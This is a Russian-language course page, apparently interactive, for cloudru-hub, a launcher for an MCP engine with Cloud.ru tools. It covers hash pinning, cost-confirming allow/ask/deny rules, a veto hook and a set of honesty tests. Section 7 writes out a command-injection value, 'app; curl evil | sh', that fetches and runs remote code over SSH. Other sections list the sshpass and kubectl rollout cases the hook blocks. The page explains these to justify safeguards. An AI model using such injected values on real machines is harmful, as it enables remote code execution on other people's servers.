Начни здесь

cloudru-hub: весь Cloud.ru под рукой у твоего AI-агента

Практический курс по @dzhechkov/cloudru-hub — тонкому лаунчеру MCP-движка cloudru-vm (144 инструмента для Cloud.ru Evolution). Вместе с Леной ты разберёшься, что лежит в пакете, а чего в нём нет по замыслу; научишь лаунчер находить движок и сверять его хеш; прогонишь self-test до строки ALL GREEN; поймёшь, как тормоз платных шагов делит 144 инструмента на allow/ask/deny; поставишь связку в Claude Code с исполненной пробой вето; узнаешь, почему одни платформы получают полную установку, а другие — только указатель; скомпилируешь диалект навыка и проверишь, что гейты честности пакета действительно ловят поломки.

Знакомься: Лена

Лена — DevOps-инженер в маленьком стартапе. Она хочет, чтобы Claude Code сам разворачивал стенды в Cloud.ru, но её главный страх — счёт в конце месяца за виртуалки, которые агент создал, ни у кого не спросив. Каждую секцию она проходит на шаг впереди тебя: сначала обжигается сама, потом показывает, как правильно.

Содержание курса

1. Что такое cloudru-hub и зачем он нужен

Тонкий лаунчер MCP-движка cloudru-vm: что он делает сам, а что отдаёт движку.

Ключевая мысль: лаунчер, который находит движок

Лена только что получила доступ к Cloud.ru Evolution и хочет одного: сказать Claude Code «подними стенд» — и чтобы стенд поднялся. Её первый вопрос был таким же, как у тебя: «а что вообще такое cloudru-hub, если сам движок — это отдельная Go-программа?»

Ответ короткий: cloudru-hub — это лаунчер, который находит движок и запускает его. Лаунчер — тонкая обёртка на JavaScript без единой зависимости: она ищет бинарник движка cloudru-vm на твоей машине, сверяет его хеш и запускает как MCP-сервер. Сам движок — Go-программа со 144 инструментами (число измерено живым запросом tools/list, снимок лежит в data/tools-list-snapshot.json): виртуалки, Kubernetes, PostgreSQL, Kafka, Redis, DNS, S3, сертификаты, биллинг и мастер деплоя docker-compose.

Что лаунчер добавляет от себя, кроме запуска:

  • тормоз платных шагов — правила разрешений и вето-хук, чтобы агент спрашивал перед каждым действием, которое стоит денег;
  • установщики под конкретную платформу — Claude Code получает полную связку, остальные ровно столько, сколько можно доставить честно;
  • компилятор диалектов навыка — из одного канонического текста собирает варианты под разные платформы.

Важная оговорка, которую пакет повторяет на каждом шагу: он неофициальный и никак не связан с Cloud.ru — просто разговаривает с публичным API через движок.

Пакет живёт на npm: страница @dzhechkov/cloudru-hub на npmjs.com, исходники — в публичном зеркале на GitHub.

Компромисс: движок не лежит внутри пакета, и это создаёт лишний шаг — его нужно откуда-то взять и показать лаунчеру. Взамен ты получаешь лаунчер, который никогда не запустит неизвестный бинарник молча: он всегда скажет, где нашёл движок и совпал ли хеш.

🧾 Квитанция. Первое, что Лена набрала: cloudru-hub help. Одна страница текста, exit 0 — лаунчер жив и рассказывает про семь команд. Что означает каждая — разберём по ходу курса.

2. Что лежит в пакете — и чего в нём нет по замыслу

Пять частей нашего кода и ноль байтов чужого движка: как пакет разложен и почему.

Ключевая мысль: ноль байтов движка в пакете

Лена сделала то, что делает любой инженер с новым пакетом: npm pack --dry-run, чтобы посмотреть, что реально уедет в архив. И удивилась: ни одного бинарника, ни одного файла на Go. «Где движок?»

Это не забывчивость, а правило пакета: ноль байтов движка в пакете (решение ADR-002). Дело в авторстве. Основа — оригинальный Go CLI и всё, что лежит в этом пакете (лаунчер, адаптеры, установщик, тесты), — работа Дмитрия Жечкова под MIT. А дополнения движка — слой из ~144 MCP-инструментов — написал Тимур, автор движка Hermes. Он одобрил публикацию (запись о согласии — в LICENSE, часть 2, строка Grant-Confirmation:), но лицензии на сами дополнения не назначал. Поэтому пакет не даёт третьим лицам никаких прав на них — и физически не содержит их.

Что в пакете лежит (всё — наш код):

  1. Лаунчер bin/cloudru-hub.js — находит движок во время запуска и сверяет sha256 с пином в package.json.
  2. Тормоз платных шагов src/install.js + templates/.claude/hooks/ — правила ask/deny/allow и вето-хук.
  3. Ярусы целевых платформ — тот же src/install.js решает, кому полная установка, кому только указатель.
  4. Компилятор диалектов src/dialects.js + data/dialects.json — генерирует варианты навыка под платформы.
  5. Золотая классификация data/tools-classification.json — каждый инструмент движка → allow/ask/deny.

Чего в пакете НЕТ по замыслу: бинарника движка, исходников на Go и канонического корпуса навыка. Их лаунчер берёт снаружи — из дистрибутива движка, который ты укажешь сам.

Компромисс: такая раскладка честна по авторству и проверяется тестом (тест перебирает список файлов из npm pack --dry-run и отклоняет ELF-магию, .go-файлы и пути движка). Но она же означает, что «просто npm i и работает» не будет — движок придётся добыть отдельно.

🧾 Квитанция. У Лены npm pack --dry-run показал bin/, src/, templates/, data/, docs/, test/ и документы лицензии — и ни одного файла, которого она не смогла бы прочитать глазами.

3. Где движок: три пути поиска и один громкий отказ

CLOUDRU_VM_BIN → config.json → платформенный пакет → понятная ошибка: как лаунчер ищет бинарник.

Ключевая мысль: порядок поиска движка

Раз движка в пакете нет, лаунчер должен его найти. Лена запустила cloudru-hub resolve на чистой машине и получила не пустой экран, а подробный отказ с тремя пунктами: где искали и почему не нашли. Прежде чем читать дальше, реши за неё: какой из трёх путей ты бы выбрал для своего ноутбука, а какой — для сервера команды?

Порядок поиска движка зашит в src/resolve.js и всегда один и тот же — первое попадание побеждает:

  1. Переменная окружения $CLOUDRU_VM_BIN — явный путь. Самый простой способ, именно им пользуется локальная проверка.
  2. Поле enginePath в файле ~/.cloudru-hub/config.json (путь к файлу можно переопределить через $CLOUDRU_HUB_CONFIG) — постоянная настройка.
  3. Платформенный пакет @dzhechkov/cloudru-vm-linux-x64 с бинарником внутри — если он установлен рядом. Внимание: этого пакета на npm пока НЕТ: его первая публикация ждёт доверенной CI-сборки.
  4. Ничего не нашли → громкий отказ: лаунчер печатает все три пути, что по каждому было (не задано / задано, но это не файл) и куда идти за движком (docs/LOCAL-TESTING.md).

Кандидат, который есть в списке, но не является обычным файлом, просто пропускается — поиск идёт дальше по цепочке.

Компромисс: порядок фиксирован, и это удобно (всегда знаешь, что перебьёт что: переменная окружения сильнее конфига), но он же не даёт тебе «подсунуть» путь четвёртым способом. Если движок лежит в нестандартном месте — либо переменная, либо конфиг.

🧾 Квитанция. Лена экспортировала CLOUDRU_VM_BIN=/path/to/engine-build/cloudru-vm и повторила cloudru-hub resolve: строка source env — движок найден через первый путь, а следом sha256 и вердикт по пину. Про пин — следующая секция.

4. Сверка sha256 с пином: когда терпеть, а когда отказывать

Один и тот же несовпавший хеш для разных источников значит разное — и это осознанное решение.

Ключевая мысль: сверка sha256 с пином

Вот вопрос, на который нет очевидного ответа, — подумай над ним ДО того, как читать дальше. Лена собрала движок сама, из исходников, и указала на него переменной окружения. Хеш не совпал с закреплённым. Должен ли лаунчер отказаться его запускать?

Сначала термины. Пин — закреплённый в package.json (поле cloudruHub.binaryHashes) хеш sha256 эталонного бинарника: 59f83fc0…c05124 для linux-x64, движок cloudru-vm 0.2.3-20260718. Сверка sha256 с пином — лаунчер хеширует найденный файл и сравнивает с пином. Дальше начинается интересное: реакция на несовпадение зависит от того, ОТКУДА пришёл движок.

  • Платформенный пакет (источник platform-package): несовпадение — жёсткий отказ. Это артефакт из реестра, он обязан быть байт-в-байт равен пину — иначе кто-то подменил его по дороге (правило цепочки поставок ADR-002).
  • Переменная окружения или конфиг (источники env / config): несовпадение терпится, но честно сообщается: verified NO — not the pinned baseline. Владелец сам указал на этот файл — значит, это его сборка для разработки, и он имеет право её запустить.

Так что ответ на вопрос про сборку Лены: лаунчер запустит её, но не станет делать вид, что это эталон. cloudru-hub resolve --json вернёт verified: false, и это правда, а не ошибка.

Компромисс: мягкость к своим путям — удобство для разработчика и одновременно дыра, если ты по привычке экспортируешь CLOUDRU_VM_BIN на чужой файл. Лаунчер защищает от подмены в реестре, а не от тебя самого. Читай строку verified глазами.

🧾 Квитанция. Лена на эталонном бинарнике: verified yes — matches the pinned baseline. На своей сборке: verified NO — not the pinned baseline (tolerated for env/config paths). Обе строки — из вывода cloudru-hub resolve.

5. self-test: пять шагов до ALL GREEN

Одна команда проверяет всю цепочку: движок найден, хеш сверен, версия отвечает, 144 инструмента живы, классификация полная.

Ключевая мысль: self-test: пять шагов до ALL GREEN

Хватит читать — Лена уже открыла терминал в папке пакета, открывай и ты. Никаких учётных данных Cloud.ru для этого шага не нужно: запрос tools/list движок отвечает без ключей.

Команда одна: node bin/cloudru-hub.js self-test (или просто cloudru-hub self-test, если сделал npm link). Она проходит пять шагов до ALL GREEN, и каждый печатает свою строку:

  1. resolve — где найден движок и через какой путь (source: env).
  2. sha256 — хеш файла и совпал ли он с пином (MATCHES pinned baseline).
  3. engine-version — движок запущен с аргументом version и ответил: cloudru-vm 0.2.3-20260718.
  4. tools-list — живой JSON-RPC-запрос tools/list: 144 tools live (snapshot: 144).
  5. classification-coverage — каждый живой инструмент есть в золотой классификации (144 golden entries).

Если все пять зелёные — последняя строка self-test: ALL GREEN и exit 0. Любой красный шаг — self-test: FAILED, exit 1, и цепочка останавливается там, где сломалась: без движка не будет версии, без версии — списка инструментов.

Флаг --json отдаёт тот же результат структурой { steps: [...], ok: true } — удобно для скриптов и CI.

Компромисс: self-test доказывает, что связка живая и движок тот самый, но НЕ трогает облако — ни одной виртуалки он не создаст и ни рубля не потратит. Это его сила (безопасно гонять сколько угодно) и его граница: что реальные вызовы инструментов работают с твоими ключами, он не проверяет.

🧾 Квитанция. Пять строк с галочками и self-test: ALL GREEN — ровно такой вывод зафиксирован в docs/LOCAL-TESTING.md как измеренный на эталонном бинарнике. Лена сверила свой экран с ним построчно.

7. Схема — не доказательство: поведенческий аудит

Два инструмента выглядели безобидно по описанию — и оба оказались опасны. Почему allow даётся только по коду.

Ключевая мысль: поведенческий аудит обработчика

Сюрприз этой секции неприятный: инструмент, который по описанию только читает, может тратить деньги. Помнишь вопрос из прошлой секции? Вот ответ Лены — и он был неверным.

Первый пример — stack_status. По схеме — «статус стека», читалка. Первая версия классификации так его и отнесла: у него нет свойства confirmed, значит, безопасен. Потом кто-то прочитал обработчик в движке (tools_stack.go:479): stack_status продвигает запланированное задание на следующий шаг на стороне сервера и сам вызывает платные инструменты создания. Воспроизведено вживую: один вызов перевёл задание из planned в running и попытался выполнить provision. Цепочка stack_plan → stack_status без единого вопроса пользователю — вот что открыл бы allow. Теперь stack_status — ask.

Второй пример — logs. «Показать логи», что может быть безобиднее? Обработчик берёт аргумент service и без экранирования приклеивает его к команде docker compose logs <service>, которая выполняется на твоей виртуалке по SSH (engine/logs.go:61). Значит, service = "app; curl evil | sh" — выполнение произвольного кода на твоей машине. Классификатор не может исправить движок (автору движка сообщено), но может поставить logs за ask — и поставил.

Отсюда правило пакета: allow даётся только по поведенческому аудиту обработчика. Поведенческий аудит — это когда кто-то прочитал код обработчика инструмента в движке на закреплённой версии и записал в классификацию, что именно он делает, с ссылкой файл:строка. Схема инструмента — его описание и список аргументов — для allow недостаточна никогда. Посмотри на запись status в data/tools-classification.json: «читает локальный файл состояния, без обращения к облаку, без записи, без вызова других инструментов, tools.go:1720». Вот как выглядит основание для allow.

Компромисс: аудит по коду дорог — 77 обработчиков прочитаны глазами, и при каждом обновлении движка это придётся повторить для изменившихся. Зато оба этих «безобидных» инструмента — измеренные случаи, а не гипотезы; эвристика по схеме уже ошиблась один раз, и пакет не даёт ей второго шанса.

Лена после этой секции перестала верить описаниям: «читает» — это слово, а не свойство.

8. Установка в Claude Code с исполненной пробой вето

Три файла, слияние без затирания — и установщик, который отказывается говорить «готово», пока не увидел вето своими глазами.

Ключевая мысль: исполненная проба вето

Пора ставить связку в настоящий проект. Лена в папке своего проекта запускает: cloudru-hub install --target claude-code --dir /path/to/project (без --dir берётся текущая папка). Установщик делает три вещи и одну проверку.

Три файла — всегда слиянием, никогда затиранием твоих настроек:

  1. .mcp.json в корне проекта — сервер cloudru-vm, команда node <путь к лаунчеру> mcp. С флагом --npx вместо пути подставится npx -y @dzhechkov/cloudru-hub mcp. Именно .mcp.json в корне: .claude/mcp.json Claude Code не читает — измеренный провал.
  2. .claude/settings.json — тормоз платных шагов как данные: allow / ask / deny в обоих написаниях префикса, объединение множествами (твои правила остаются, наши deny не могут выпасть) и хуки PreToolUse на Bash и на mcp__cloudru[-_]vm__k8s_kubectl.
  3. .claude/hooks/cloudru-ssh-guard.cjs — сам вето-хук, скопированный из шаблона с правом на выполнение.

А теперь то, ради чего секция. Файлы лежат — но наличие файла хука — не доказательство, что хук работает. Поэтому установщик проводит исполненную пробу вето: прогоняет через только что записанный хук четыре контрольных случая и сверяет коды выхода:

  • sshpass -p hunter2 ssh user1@1.2.3.4 → ждёт exit 2 (запрещено);
  • ssh -i /tmp/key user1@1.2.3.4 uptime → ждёт exit 0 (разрешено, ключ есть);
  • k8s_kubectl rollout restart deployment/app → ждёт exit 2;
  • k8s_kubectl rollout status deployment/app → ждёт exit 0.

Любое несовпадение — установщик печатает NOT installed и возвращает код 1. Хук, который не блокирует, неотличим от отсутствующего, и «готово» он не скажет.

Компромисс: установщик проверяет всё, что может проверить с диска, но одну вещь машина отсюда увидеть не может: спросит ли Claude Code разрешение на самом деле. Поэтому в конце он печатает ручную пробу: открыть свежую сессию, позвать mcp__cloudru-vm__deploy и убедиться, что появился запрос разрешения, — и записать, какое написание префикса среда использовала.

🧾 Квитанция. У Лены четыре строки probe … ✓ и cloudru-hub install: ✓ veto EXECUTED and observed on the forbidden fixtures. — exit 0. Без этой строки установки не было, что бы ни лежало на диске.

9. Ярусы целевых платформ: кому полная связка, кому указатель

Claude Code, codex, agents-md, cursor: четыре яруса доставки и честный отказ там, где тормоз поставить нельзя.

Ключевая мысль: ярус целевой платформы

Коллега Лены работает в Cursor и попросил: «поставь мне то же самое». Лена запустила cloudru-hub install --target cursor — и получила отказ с кодом 2. Не ошибку, а осознанное «нет» с причиной. Прежде чем читать почему, реши за неё: честнее выдать Cursor «почти такую же» установку без работающего вето — или отказать?

Пакет отвечает вторым. Ярус целевой платформы (решение ADR-005) — это уровень доставки, который платформа заслужила живой проверкой, а не обещанием документации. Ярусов четыре:

  1. full — claude-code. Полная установка из прошлой секции: .mcp.json, тормоз, хук и исполненная проба. Код 0.
  2. plan-only — codex. План печатается, но НЕ применяется: код 3. Причина измерена: проектный hooks.json в codex — молчаливый no-op, хуки работают только из пользовательского ~/.codex/hooks.json, а неисполненное вето неотличимо от отсутствующего. План — три шага: codex mcp add cloudru-vm -- cloudru-hub mcp, слияние хука в пользовательский файл и обязательная ручная проба sshpass в сессии codex.
  3. pointer — agents-md, gemini. Только указатель: файл CLOUDRU-POINTER.md не длиннее 2048 символов, без инструментов и без исполняемых инструкций, зато с обязательным предупреждением «здесь НЕТ детерминированного вето платных операций». Код 0, но честно: это не установка, это табличка.
  4. degraded (отказ) — openclaude, opencode, cursor, windsurf, copilot. Код 2 и причина по имени. У Cursor вето-хуки только описаны в документации, у Windsurf бюджет инструментов 100 < 144, у Copilot агент «не будет спрашивать вашего одобрения» по построению. Пока живая проба не доказала обратное — отказ.

Неизвестное имя платформы — код 1 и список известных.

Компромисс: ярусы сужают аудиторию: полную связку сегодня получает только Claude Code. Зато ни одна платформа не получает «поддержку» на бумаге, которая ночью пропустит deploy без вопроса. Ярус можно поднять — но живой пробой, а не правкой таблицы.

Лена отправила коллеге указатель для AGENTS.md и честное «в Cursor тормоза нет — не запускай оттуда мутирующие инструменты».

10. Вето-хук изнутри: exit 0 или exit 2

Тридцать строк, которые стоят между агентом и парольным SSH: как хук читает вызов и чем отвечает.

Ключевая мысль: exit 2 означает вето

Посмотри сначала на схему ниже, потом на текст: хук — это конвейер из четырёх шагов, и весь его смысл в последнем. Лена открыла templates/.claude/hooks/cloudru-ssh-guard.cjs и удивилась, какой он короткий.

Контракт хука PreToolUse в Claude Code простой: перед вызовом инструмента среда запускает хук, подаёт ему на stdin JSON { tool_name, tool_input } и смотрит на код выхода. exit 0 означает «разрешаю», exit 2 означает вето — вызов не состоится, а текст со stderr увидит модель и поймёт, почему.

Что хук запрещает — три правила из функции decide():

  • Bash + sshpass + адрес ВМ (@1.2.3.4) → вето: «парольный SSH к Cloud.ru ВМ запрещён — ключ на ВМ есть, движок кладёт его сам; возьми ssh-команду из ответа deploy_apply дословно».
  • Bash + ssh user1@<ip> без -i → вето: SSH без деплой-ключа.
  • mcp__cloudru-vm__k8s_kubectl (в любом написании префикса) + rollout <глагол>, где глагол не status и не history → вето: rollout restart, undo и прочие изменяют прод без подтверждения — это измеренная дыра классификатора движка, и хук закрывает её на нашей стороне независимо от движка.

Всё остальное → exit 0. И одна тонкость, которую стоит знать: если на stdin пришёл не-JSON, хук выходит с 0, а не с 2. Сломанный хук не должен заблокировать каждый вызов Bash в сессии — но разобранный вызов с платным шагом всегда получает детерминированный ответ.

Компромисс: правила — регулярные выражения, перенесённые из исходного хука движка как есть; они точны на измеренных случаях и не претендуют на полноту. Хук — второй ремень поверх правил ask/deny, а не замена им: правило разрешений останавливает инструмент по имени, хук — по содержимому аргументов.

🧾 Квитанция. Лена проверила руками: echo '{"tool_name":"Bash","tool_input":{"command":"sshpass -p x ssh user1@1.2.3.4"}}' | node .claude/hooks/cloudru-ssh-guard.cjs; echo $? → на stderr строка с ⛔, код выхода 2.

11. Компилятор диалектов: один канон, много целей

Из канонического навыка движка — варианты под платформы, с жёстким отказом, если в выходе выжил чужой диалект.

Ключевая мысль: компилятор диалектов

Эта секция — про твои решения, а не про готовые ответы. У Лены есть дистрибутив движка с папкой skill/cloudru-hub/ — канонический навык, написанный на диалекте движка Hermes: свои имена инструментов (tool_search, tool_call), свои пути, свои словечки. В Claude Code это всё — мусор, который агент примет за инструкции. Что делать?

Компилятор диалектов (решение ADR-006) — это генератор: один канонический источник, а варианты под платформы порождаются из data/dialects.json, ручные форки запрещены. Команда: cloudru-hub compile-skill --canonical <движок>/skill/cloudru-hub --target claude-code --out ./skill-out. Канонический корпус в пакете НЕ лежит (ноль байтов движка, помнишь?) — ты сам указываешь на него --canonical.

Что компилятор гарантирует кодом, а не ревьюером — четыре инварианта:

  1. Диалект вычищен. Замены применяются по порядку ко всем .md (23 для claude-code, 22 для codex), после чего компилятор ТРЕБУЕТ, чтобы не выжил ни один из 8 запрещённых токенов Hermes (tool_search, tool_call, /opt/data, SOUL, «капитан»…). Выжил — жёсткий отказ, вариант не пишется.
  2. Кодовое имя движка не просочилось — ни в каком регистре, ни в одном выходном файле: hermes, dzhechko, cloudru-vm-cli, captainkeys по границам слов. Это позитивный инвариант поверх списка замен: измерено, что один список замен пропустил голое кодовое имя 5 раз.
  3. Битые ссылки расцеплены. Относительная ссылка на .md, которого нет в выходе, превращается в текст без ссылки и считается — инструкция не указывает в пустоту.
  4. Размер и детерминизм. Роутер навыка не длиннее 12 000 символов на платформах с потерями; компиляция — чистая функция от (байты канона, конфиг): два прогона дают байт-в-байт одинаковый результат.

Отдельная хитрость: голое cloudru-vm кодовым именем НЕ считается — это же законное имя MCP-сервера, которое обязано быть в выходе. Вместо этого вычищаются две однозначные формы утечки: путь .cloudru-vm → .cloudru-hub и вызов cloudru-vm deploy → cloudru-hub deploy для реального набора глаголов движка.

Компромисс: компилятор строг — падает целиком на одном выжившем токене, и это раздражает при первом прогоне. Но альтернатива — навык, который в Claude Code уверенно советует несуществующий tool_search. Отказ громкий и до отгрузки; ложь — тихая и после.

Лена на первом прогоне получила именно такой отказ — выжил один путь /opt/data — и поправила таблицу замен, а не проверку. Теперь реши за неё сам — три развилки в упражнении.

12. Гейты честности: мутационный гейт и застава лицензии

13 свойств безопасности, каждое доказано красным тестом; лицензионная застава остаётся взведённой после разрешения на публикацию.

Ключевая мысль: мутационный гейт

Последняя секция — про то, откуда ты знаешь, что всё сказанное выше правда, а не обещание в README. Остановись и подумай: чему из этого курса ты поверил на слово? Лена честно ответила: «свойствам безопасности». Вот как пакет не даёт себе врать.

Мутационный гейт — это проверка, которая нарочно ломает защиту и требует, чтобы тесты стали красными. Гейт (здесь и дальше) — застава: проверка, через которую изменение обязано пройти, чтобы уехать дальше. Логика простая: если ты удалил защиту, а тесты остались зелёными, они не проверяли эту защиту никогда. Каждое из 13 именованных свойств пакета имеет запись в test/mutation-registry.json; запуск dz mutation-gate --package packages/cloudru-hub удаляет защиту и ждёт красного. Результат 2026-08-12: 13/13 PROVEN. Среди свойств — всё, что ты прошёл: ноль байтов движка, вето на sshpass и rollout, stack_status и logs за ask, взведённый запрет кодовых имён, две чистки форм утечки.

Вторая застава — лицензионная. Разрешение автора движка на публикацию получено 12 августа 2026 и записано в LICENSE (часть 2, Grant-Confirmation:). Казалось бы, поле licenseHold в package.json можно снять. Его оставили нарочно: правило licence-hold в dz guard пропускает удовлетворённую заставу с оставленным триггером — и продолжает при каждой публикации проверять LICENSE (нет заглушки PENDING, есть ссылка на подтверждение), THIRD_PARTY_NOTICES и поле SPDX. Тесты пакета отдельно закрепляют честную формулировку: согласие засвидетельствовано владельцем, никакой выдуманной лицензии от имени автора. Убери поле — test/pack-holds.test.mjs покраснеет.

Чек-лист публикации после разрешения — четыре пункта, три закрыты, один открыт честно:

  1. ✅ запись о согласии в LICENSE, license: MIT только на наш код, private снят, триггер оставлен;
  2. ✅ dz guard check --op publish проходит;
  3. ⏳ платформенный пакет с бинарником не опубликован — ждёт доверенной CI-сборки с -trimpath и сверки лицензий Go-зависимостей;
  4. ✅ пакет опубликован штатным релизным путём.

Суммарно: 70 тестов, 70 проходят (npm test, node:test, без зависимостей — измерено 2026-08-12).

Компромисс: мутационный гейт и застава лицензии — лишняя работа на каждый релиз. Взамен слово «доказано» в README означает наблюдённый красный тест, а не мнение. Спроси себя напоследок: в твоём собственном проекте какое из «гарантированных» свойств умрёт молча, если удалить его защиту? Лена назвала три.

Частые вопросы

Я поставил пакет через npm, а cloudru-hub resolve говорит, что движка нет. Это поломка?

Нет, это замысел: в пакете ноль байтов движка (ADR-002). Укажи бинарник переменной CLOUDRU_VM_BIN или полем enginePath в ~/.cloudru-hub/config.json. Платформенный пакет @dzhechkov/cloudru-vm-linux-x64 с бинарником пока не опубликован — ждёт доверенной CI-сборки.

Нужны ли ключи Cloud.ru, чтобы прогнать self-test?

Нет. Все пять шагов, включая живой tools/list, работают без учётных данных. Ключи (CLOUDRU_KEY_ID, CLOUDRU_SECRET, CLOUDRU_PROJECT_ID) понадобятся только для реальных вызовов инструментов.

Почему в .claude/settings.json каждое правило записано дважды — mcp__cloudru-vm__ и mcp__cloudru_vm__?

Какое написание префикса использует среда выполнения, ещё не подтверждено живой пробой. Лишнее правило безвредно, пропущенное — опасно, поэтому пишутся оба. Установщик просит записать наблюдённое написание после ручной пробы.

Установщик отказал моей платформе (cursor, windsurf, copilot…). Как получить связку?

Отказ — ярус degraded (ADR-005): вето на этой платформе не доказано живой пробой, а мутирующий путь без тормоза не доставляется никуда. Ярус поднимается живой пробой, не правкой таблицы. Пока — работай из Claude Code или используй pointer-таргет для указателя без инструментов.

Можно перевести logs или stack_status в allow, чтобы агент меньше спрашивал?

Технически — правкой data/tools-classification.json, но это ослабление: logs — измеренная инъекция команды по SSH, stack_status продвигает платные задания на сервере. Оба свойства защищены мутационным гейтом: откат к allow красит тесты.

Где взять канонический навык для compile-skill?

В дистрибутиве движка, папка skill/cloudru-hub рядом с бинарником. Пакет его не содержит по правилу «ноль байтов движка»; укажи путь флагом --canonical.

Пакет официальный? Кто отвечает за движок?

Пакет неофициальный и никак не связан с Cloud.ru. Лаунчер, установщик, компилятор и тесты — Дмитрий Жечков (MIT). Дополнения движка (слой из 144 MCP-инструментов) — Тимур, автор движка Hermes; он одобрил публикацию, но лицензии на сами дополнения не назначал, и пакет их не содержит.

Бесплатный интерактивный курс · aicoding.space

Лицензии шрифтов

Onest

Copyright 2021 The Onest Project Authors (https://github.com/googlefonts/onest)

This Font Software is licensed under the SIL Open Font License, Version 1.1.
This license is copied below, and is also available with a FAQ at:
https://scripts.sil.org/OFL


-----------------------------------------------------------
SIL OPEN FONT LICENSE Version 1.1 - 26 February 2007
-----------------------------------------------------------

PREAMBLE
The goals of the Open Font License (OFL) are to stimulate worldwide
development of collaborative font projects, to support the font creation
efforts of academic and linguistic communities, and to provide a free and
open framework in which fonts may be shared and improved in partnership
with others.

The OFL allows the licensed fonts to be used, studied, modified and
redistributed freely as long as they are not sold by themselves. The
fonts, including any derivative works, can be bundled, embedded, 
redistributed and/or sold with any software provided that any reserved
names are not used by derivative works. The fonts and derivatives,
however, cannot be released under any other type of license. The
requirement for fonts to remain under this license does not apply
to any document created using the fonts or their derivatives.

DEFINITIONS
"Font Software" refers to the set of files released by the Copyright
Holder(s) under this license and clearly marked as such. This may
include source files, build scripts and documentation.

"Reserved Font Name" refers to any names specified as such after the
copyright statement(s).

"Original Version" refers to the collection of Font Software components as
distributed by the Copyright Holder(s).

"Modified Version" refers to any derivative made by adding to, deleting,
or substituting -- in part or in whole -- any of the components of the
Original Version, by changing formats or by porting the Font Software to a
new environment.

"Author" refers to any designer, engineer, programmer, technical
writer or other person who contributed to the Font Software.

PERMISSION & CONDITIONS
Permission is hereby granted, free of charge, to any person obtaining
a copy of the Font Software, to use, study, copy, merge, embed, modify,
redistribute, and sell modified and unmodified copies of the Font
Software, subject to the following conditions:

1) Neither the Font Software nor any of its individual components,
in Original or Modified Versions, may be sold by itself.

2) Original or Modified Versions of the Font Software may be bundled,
redistributed and/or sold with any software, provided that each copy
contains the above copyright notice and this license. These can be
included either as stand-alone text files, human-readable headers or
in the appropriate machine-readable metadata fields within text or
binary files as long as those fields can be easily viewed by the user.

3) No Modified Version of the Font Software may use the Reserved Font
Name(s) unless explicit written permission is granted by the corresponding
Copyright Holder. This restriction only applies to the primary font name as
presented to the users.

4) The name(s) of the Copyright Holder(s) or the Author(s) of the Font
Software shall not be used to promote, endorse or advertise any
Modified Version, except to acknowledge the contribution(s) of the
Copyright Holder(s) and the Author(s) or with their explicit written
permission.

5) The Font Software, modified or unmodified, in part or in whole,
must be distributed entirely under this license, and must not be
distributed under any other license. The requirement for fonts to
remain under this license does not apply to any document created
using the Font Software.

TERMINATION
This license becomes null and void if any of the above conditions are
not met.

DISCLAIMER
THE FONT SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO ANY WARRANTIES OF
MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT
OF COPYRIGHT, PATENT, TRADEMARK, OR OTHER RIGHT. IN NO EVENT SHALL THE
COPYRIGHT HOLDER BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY,
INCLUDING ANY GENERAL, SPECIAL, INDIRECT, INCIDENTAL, OR CONSEQUENTIAL
DAMAGES, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
FROM, OUT OF THE USE OR INABILITY TO USE THE FONT SOFTWARE OR FROM
OTHER DEALINGS IN THE FONT SOFTWARE.

JetBrainsMono

Copyright 2020 The JetBrains Mono Project Authors (https://github.com/JetBrains/JetBrainsMono)

This Font Software is licensed under the SIL Open Font License, Version 1.1.
This license is copied below, and is also available with a FAQ at:
https://scripts.sil.org/OFL


-----------------------------------------------------------
SIL OPEN FONT LICENSE Version 1.1 - 26 February 2007
-----------------------------------------------------------

PREAMBLE
The goals of the Open Font License (OFL) are to stimulate worldwide
development of collaborative font projects, to support the font creation
efforts of academic and linguistic communities, and to provide a free and
open framework in which fonts may be shared and improved in partnership
with others.

The OFL allows the licensed fonts to be used, studied, modified and
redistributed freely as long as they are not sold by themselves. The
fonts, including any derivative works, can be bundled, embedded, 
redistributed and/or sold with any software provided that any reserved
names are not used by derivative works. The fonts and derivatives,
however, cannot be released under any other type of license. The
requirement for fonts to remain under this license does not apply
to any document created using the fonts or their derivatives.

DEFINITIONS
"Font Software" refers to the set of files released by the Copyright
Holder(s) under this license and clearly marked as such. This may
include source files, build scripts and documentation.

"Reserved Font Name" refers to any names specified as such after the
copyright statement(s).

"Original Version" refers to the collection of Font Software components as
distributed by the Copyright Holder(s).

"Modified Version" refers to any derivative made by adding to, deleting,
or substituting -- in part or in whole -- any of the components of the
Original Version, by changing formats or by porting the Font Software to a
new environment.

"Author" refers to any designer, engineer, programmer, technical
writer or other person who contributed to the Font Software.

PERMISSION & CONDITIONS
Permission is hereby granted, free of charge, to any person obtaining
a copy of the Font Software, to use, study, copy, merge, embed, modify,
redistribute, and sell modified and unmodified copies of the Font
Software, subject to the following conditions:

1) Neither the Font Software nor any of its individual components,
in Original or Modified Versions, may be sold by itself.

2) Original or Modified Versions of the Font Software may be bundled,
redistributed and/or sold with any software, provided that each copy
contains the above copyright notice and this license. These can be
included either as stand-alone text files, human-readable headers or
in the appropriate machine-readable metadata fields within text or
binary files as long as those fields can be easily viewed by the user.

3) No Modified Version of the Font Software may use the Reserved Font
Name(s) unless explicit written permission is granted by the corresponding
Copyright Holder. This restriction only applies to the primary font name as
presented to the users.

4) The name(s) of the Copyright Holder(s) or the Author(s) of the Font
Software shall not be used to promote, endorse or advertise any
Modified Version, except to acknowledge the contribution(s) of the
Copyright Holder(s) and the Author(s) or with their explicit written
permission.

5) The Font Software, modified or unmodified, in part or in whole,
must be distributed entirely under this license, and must not be
distributed under any other license. The requirement for fonts to
remain under this license does not apply to any document created
using the Font Software.

TERMINATION
This license becomes null and void if any of the above conditions are
not met.

DISCLAIMER
THE FONT SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO ANY WARRANTIES OF
MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT
OF COPYRIGHT, PATENT, TRADEMARK, OR OTHER RIGHT. IN NO EVENT SHALL THE
COPYRIGHT HOLDER BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY,
